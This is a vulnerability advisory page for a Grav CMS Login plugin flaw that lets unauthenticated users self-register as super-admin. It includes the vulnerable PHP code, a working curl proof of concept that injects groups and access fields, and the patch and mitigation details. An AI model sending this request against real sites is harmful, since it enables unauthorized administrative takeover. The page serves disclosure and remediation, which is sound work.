Grav CMS CVE-2026-42613
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
Summary
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue - the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
Affected Component
- File:
user/plugins/login/classes/Login.php, lines 246-306 - Method:
Login::register() - Validation:
Login::validateField(), lines 363-432 - Plugin: Login Plugin 3.8.0
- Grav: 1.8.0-beta.29
Root Cause
In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Precondition
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups
# ← enables the attack
- access
# ← enables the attackThis is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
Proof of Concept
Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email]=attacker@evil.com" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"Resulting account file (user/accounts/attacker.yaml):
email: attacker@evil.com
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabledThe attacker can then log into /admin with full super-admin privileges.
Impact
- Severity: Critical (when precondition is met)
- Vector: Unauthenticated → Super Admin
- Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
- Precondition: Registration enabled with
groupsoraccessin allowed fields - a configuration the admin UI permits without warning
Environment
- Grav Core: 1.8.0-beta.29
- Login Plugin: 3.8.0
- PHP: 8.4.11
Credits
Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/
---
Maintainer note - fix applied (2026-04-24)
Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.
What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop - even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.
Files:
login.php- form handler privilege-field strip.
AnalysisAI
Unauthenticated privilege escalation in Grav CMS Login plugin 3.8.0 allows remote attackers to self-register with admin.super privileges via missing server-side validation of groups and access fields. When administrators configure user registration with groups or access in allowed fields (a permitted UI action), attackers inject these fields into registration POST requests to bypass config-level defaults and gain full administrative access. Vendor-released patch: Login plugin 3.8.2 / Grav 2.0.0-beta.2 (commit 3d419a0). No public exploit identified at time of analysis, but the GitHub security advisory includes detailed proof-of-concept code demonstrating the attack.
Technical ContextAI
This vulnerability exists in the Login plugin for Grav CMS, a flat-file content management system written in PHP. The Login::register() method in classes/Login.php uses PHP's isset() to check for groups and access fields in POST data, applying config defaults only when these fields are absent. When present in attacker input, the fields bypass all validation - the validateField() method's switch statement only validates username, password, password2, email, permissions, state, and language, passing groups and access through the default case with no sanitization. The resulting User object is saved with attacker-controlled privilege arrays written directly to YAML account files under user/accounts/. This violates CWE-20 (Improper Input Validation) by trusting client-supplied authorization data without server-side enforcement of allowed values. The vulnerability represents a mass assignment issue where the framework's field allowlist is treated as a user preference rather than a security boundary.
RemediationAI
Upgrade to Grav CMS 2.0.0-beta.2 or later, which pins Login plugin >=3.8.2 via admin2 blueprints and includes the fix. For Grav 1.x installations, manually update the Login plugin to version 3.8.2 or later from https://github.com/getgrav/grav-plugin-login/releases. The patch (commit 3d419a0dabd70aed1fd49afcd5919004a4141da1) adds a privilege field blocklist to the registration form handler that ignores groups and access from client input even when administrators include them in user_registration.fields, logging warnings on injection attempts. Compensating control if immediate patching is not feasible: remove groups and access from the user_registration.fields array in user/config/plugins/login.yaml, ensuring only safe fields (username, password, email, fullname, language) are included - this eliminates the attack vector but prevents legitimate group assignment during registration; alternatively, disable public user registration entirely by setting user_registration.enabled: false until patching is complete. Note that disabling registration may impact user onboarding workflows, while restricting fields prevents admin-intended group selection features from functioning.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-20 – Improper Input Validation
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-pxm6-mhxr-q4mj